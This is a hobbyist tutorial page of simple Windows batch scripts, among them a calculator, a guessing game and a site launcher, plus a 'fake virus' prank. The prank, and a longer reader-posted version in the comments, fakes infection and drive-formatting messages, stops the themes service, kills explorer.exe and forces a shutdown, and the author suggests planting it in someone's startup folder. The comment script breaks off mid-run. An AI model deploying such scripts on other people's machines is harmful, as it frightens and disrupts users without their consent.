Some Cool Batch Applications

436,431

60

191

Published

Introduction: Some Cool Batch Applications

This is my first instructable so no complaining!
I'd like to thank neodudeman for his instructables, they helped a lot.

In this instructable i will show you some pretty nifty applications with batch commands.

If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.

Step 1: Batch Calculator

This is...well... a calculator.
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "

@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit

Step 2: Folder Protector

This is pretty cool as it requests a password for a folder.
Once you copy it into notepad you must insert your own password and designated folder directory into the designated areas!
NB: THERE ARE TWO PLACES IN WHICH YOU MUST ENTER INFO!!!

@echo off
title Folder Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Folder Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Folder...
echo ----------------------------------------------
explorer ***ENTER FOLDER PATH HERE***
pause

*NOTE: This is not an advanced piece of software, it does not hide or block the destination folder or anything like that so don't get your hopes up.
**Yes, it can now open files with spaces, just use a backslash (\) when typing your filepath.

Step 3: Guessing Game

This is a game in which the computer generates a random number, and you must try to guess it.

@echo off
color 0e
title Guessing Game by seJma
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:top
echo.
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%
goto top
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
pause

*Note: For the backdoor, type "surf33"

Step 4: Site Selector

This is an application that lets you select from a list of sites.
Feel free to add some of your own sites.

@echo off
color 2f
title Site Selector by seJma
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: [1] Google - Search Engine
echo [2] Hotmail - Mail Server
echo [3] Yahoo - Search Engine/Mail Server
echo [4] Facebook - Social Networking
echo [5] Myspace - Social Networking
echo [6] CNN - News
echo [7] Weather - Weather
echo [8] WikiHow - A How-To Website
echo [9] Instructables - A How-To Website
echo [10] YouTube - Online Videos
echo [11] Answers - Online Encyclopedia
echo [12] Wikipedia - Online Encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==e goto exit

cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by seJma
echo.
echo ***************************************************************
echo Type [e] to exit or [b] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by SEjMA
echo.
echo ***************************************************************
pause
exit

Step 5:

This is a fake virus that I designed, it looks pretty convincing if you put it in someone's startup folder.
NB: this batch starts a "60 second till shutdown" script when its done. to abort shutdown click START>RUN:shutdown -a
NB: this does not do anything harmful or destructive to your computer.

***NEW: I've added an extra command that disables themes to make it look more realistic.
@echo off
color 47
net stop themes >nul
title DEEP VIRAL INFECTION!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
echo IP ADDRESS BREACHED!
echo -
echo VIRUS ATTAINING: ****-****-****-8894
echo -

pause
cls
echo -
echo SCANNING INFECTED AREAS...
echo -

pause

set /a num=0
:repeat1
set /a num=%num% +1
echo %num%
if %num%==100 goto end
goto repeat1
:end
cls
echo -
echo 86.5 PERCENT OF MEMORY INFECTED
echo -
echo INFECTION FATAL!
echo -
echo DELETION OF ENTIRE CONTENTS OF LOCAL DISK C: REQUIRED
echo -

pause
cls
echo -
echo DELETING HARD-DRIVE C:
echo -
dir /s

pause
cls
echo -
echo CONTENTS OF HARD-DRIVE C: ERASED
echo -

pause
cls
echo -
echo SCANNING...
echo -

set /a num1=0
:repeat2
set /a num1=%num1% +1
echo %num1%
if %num1%==100 goto end1
goto repeat2
:end1
cls
echo -
echo 0.00 PERCENT OF HARD-DRIVE INFECTED
echo -
pause

echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR
echo ERROR

pause
cls
title SYSTEM FAILURE
color 17
echo ERROR!
echo -
echo VISUAL MEMORY LOST!
echo -
echo RAM LOST!
echo -
echo CORE PROCESSOR FAILING...
echo -
echo TOTAL SYSTEM CRASH IMMINENT!
echo -
echo -

pause
cls
echo -
echo -
echo -
echo SHUTDOWN COMPUTER NOW TO AVOID RISK OF FIRE!
echo -
echo -
echo -

pause
cls
echo -
echo -
echo -
echo SEEK PROFESSIONAL HELP IMMEDIATLY TO PREVENT FURTHER DAMAGE!
echo -
echo -
echo -
pause
start shutdown -s -t 60 -c "SYSTEM FAILURE<SHUTTING DOWN TO AVOID FURTHER DAMAGE!"
**NB: Type "shutdown -a" in your Run box to abort a system shutdown
***Type "net start themes" to in your Run box to get the themes service working

Step 6: Done

Those are some of my applications that I created using notepad.
Remember to save the notepad as yourfilename.bat
PLEASE let me know if any of the applications don't work.
Feel free to edit, change, and do whatever to them.

If you would like help with any of your Batch programs, message me or send me an e-mail at jbell@live.co.za

If you want to try something offline, I recommend getting Learn Batch File Programming! by John Albert, really simple, easy to follow and great if you want to get better!


Happy BATCHing :D

Share

    Recommendations

    • Water Contest

      Water Contest
    • Oil Contest

      Oil Contest
    • Clocks Contest

      Clocks Contest

    191 Discussions

    UPDATED VERSION! V2.01

    cls

    @echo off

    dir /s

    echo.

    echo ERROR! LOCAL DISK "C:\" DRIVE NOT FOUND

    nircmd mediaplay 800 "C:\Windows\Media\Windows Hardware Remove.wav"

    cls

    @title SYSTEM ERROR

    ping -n 2 localhost >nus

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    ping -n 3 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    echo - REMOTE DEKSTOP INITIATED

    ping -n 2 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo - SYSTEM ERROR

    echo - MEMORY FAILURE

    echo - C:/ DRIVE NOT FOUND

    echo - SYSTEM NOT RESPONDING

    echo - REMOTE DEKSTOP INITIATED

    ping -n 2 localhost >nus

    CLS

    ping -n 4 localhost >nus

    CLS

    ECHO =================================================

    ECHO SYSTEM MESSAGE

    ECHO =================================================

    echo %COMPUTERNAME%, Report Generated On %DATE% %TIME%

    echo.

    echo.

    cls

    @echo off

    color 47

    cls

    @title SYSTEM FAILURE Code: 0xf%random%

    ping -n 2 localhost >nus

    echo.

    ECHO =================================================

    ECHO SYSTEM FAILURE Code: 0xf%random%

    ECHO =================================================

    echo.

    echo.

    ping -n 2 localhost >nus

    taskkill /im explorer.exe /f >nus

    ping -n 2 localhost >nus

    echo ERROR!!! Memory Failure String: Oxb1%random%x_mem-001%random%

    ping -n 4 localhost >nus

    echo.

    echo Checking Firewall Status:

    ping -n 4 localhost >nus

    echo Firewall - Not Active

    echo.

    ping -n 3 localhost >nus

    echo Checking Windows Defender Status:

    ping -n 4 localhost >nus

    echo Windows Defender - Error::Unknown Error::00cx%random%::

    ping -n 3 localhost >nus

    echo.

    echo Network Has Been Configured:

    ping -n 6 localhost >nus

    echo User: 你已被黑客入侵 Ip: 192.168.1.2.0

    ping -n 4 localhost >nus

    echo.

    echo USER ATTAINING: ****-****-****-8894

    echo.

    ping -n 4 localhost >nus

    echo SYSTEM FAILURE:

    echo STARTING AUTOMATIC REPAIR PROCEDURES

    ping -n 7 localhost >nus

    cls

    color 0f

    echo Starting Up Automatic Repair...

    ping -n 4 localhost >nus

    echo.

    cls

    echo.

    echo.

    echo Loading Repair.dll...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading Repair.sys...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading MBR.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo Loading Ntfs.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading fivevol.sys...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 10%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading disk.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo Loading reset.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 20%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading update.mirror.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 25%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading NETIO.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 40%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading fltmgr.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 45%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading kspeckg.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 50%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading FS_rec.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 55%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.exe...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 60%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.dll...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 65%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 70%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading System Information...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 80%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading Memory...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 85%%

    echo ----------------------------------

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo Loading 拉屎...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 90%%

    echo ----------------------------------

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo Loading 不...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 95%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading 病毒...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    CLS

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 3 localhost >nus

    Echo Now Beginning Scan To Attempt Repairs...

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 2 localhost >nus

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo Scan Complete:

    echo 86.3% PERCENT OF MEMORY DAMAGED

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo System Will Now Attempt To Repair:

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    echo.

    echo ERROR ATTEMPTING REPAIR FAILED:

    echo.

    echo ERROR ATTAINING INFORMATION %COMPUTERNAME%, %DATE% AT %TIME%

    ping -n 6 localhost >nus

    cls

    color 0c

    echo REINSTALLATION OF ENTIRE CONTENTS OF LOCAL DISK C: IS REQUIRED

    ping -n 6 localhost >nus

    echo.

    echo PLEASE DO NOT TURN OFF DEVICE DURING THIS OPERATION!

    ECHO.

    :choice

    set /P c=YOU WILL NEED INSTALLATION DISK. DO YOU HAVE INSTALLATION DISK? (Y/N)

    if /I "%c%" EQU "Y" goto :Yes

    if /I "%c%" EQU "N" goto :No

    goto :choice

    :NO

    echo.

    echo UNFORTUNATELY SYSTEM REPAIR CANNOT CONTINUE...

    ECHO.

    ECHO SYSTEM WILL NOW TRY REPAIRING ITSELF AGAIN WITHOUT INSTALLATION DISK:

    ping -n 6 localhost >nus

    CLS

    color 0f

    echo STARTING AUTOMATIC REPAIR PROCEDURES

    ping -n 7 localhost >nus

    cls

    color 0f

    echo Starting Up Automatic Repair...

    ping -n 4 localhost >nus

    echo.

    cls

    echo.

    echo.

    echo Loading Repair.dll...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading Repair.sys...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading MBR.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo Loading Ntfs.sys...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 5%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading fivevol.sys...

    echo ----------------------------------

    echo Progress: ÛÛ²²²²²²²²²²²²²²²²²² 12%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading disk.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛ²²²²²²²²²²²²²²²²² 15%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    cls

    echo.

    echo.

    echo Loading reset.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛ²²²²²²²²²²²²²²²² 19%%

    echo ----------------------------------

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo Loading update.mirror.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛ²²²²²²²²²²²²²²² 20%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading NETIO.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛ²²²²²²²²²²²² 35%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading fltmgr.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛ²²²²²²²²²²² 42%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading kspeckg.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛ²²²²²²²²²²²²²² 50%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading FS_rec.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛ²²²²²²²²²²²²² 55%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.exe...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²²² 61%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.dll...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²²² 66%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading format.sys...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²²²² 69%%

    echo ----------------------------------

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo Loading System Information...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²²² 74%%

    echo ----------------------------------

    ping -n 2 localhost >nus

    cls

    echo.

    echo.

    echo Loading Memory...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²²² 83%%

    echo ----------------------------------

    ping -n 8 localhost >nus

    cls

    echo.

    echo.

    echo Loading 拉屎...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ²² 88%%

    echo ----------------------------------

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo Loading 不...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ² 99%%

    echo ----------------------------------

    ping -n 6 localhost >nus

    cls

    echo.

    echo.

    echo Loading 病毒...

    echo ----------------------------------

    echo Progress: ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ 100%%

    echo ----------------------------------

    ping -n 3 localhost >nus

    CLS

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 3 localhost >nus

    Echo Now Beginning Scan To Attempt Repairs...

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    ping -n 2 localhost >nus

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo SCANNING SYSTEM...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo Scan Complete:

    echo 88.7% PERCENT OF MEMORY DAMAGED

    echo.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo System Will Now Attempt To Repair:

    echo.

    ping -n 3 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS.

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS..

    ping -n 2 localhost >nus

    cls

    echo =================================================

    echo Welcome to System Automatic Repair Ver. 0.1.92.0

    echo =================================================

    echo.

    echo ATTEMPTING REPAIRS...

    ping -n 4 localhost >nus

    cls

    color 0c

    echo ATTEMPTING REPAIRS...

    ping -n 2 localhost >nus

    echo.

    echo ERROR ATTEMPTING REPAIR FAILED:

    GOTO :choice

    :Yes

    start nircmd.exe cdrom open F:

    ECHO PLEASE INSERT INSTALLATION DISK

    PAUSE

    ping -n 1 localhost >nus

    ECHO.

    ECHO NOW BEGINNING PROCESS...

    ping -n 4 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 0%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 5 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: ²²²²²²²²²²²²²²²²²²²² 1%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 1 localhost >nus

    cls

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 2%%

    echo ----------------------------------

    echo DO NOT TURN OFF YOUR DEVICE

    ping -n 2 localhost >nus

    cls.

    echo.

    echo.

    echo FORMATTING C:\ DRIVE...

    echo ----------------------------------

    echo Progress: Û²²²²²²²²²²²²²²²²²²² 3%%

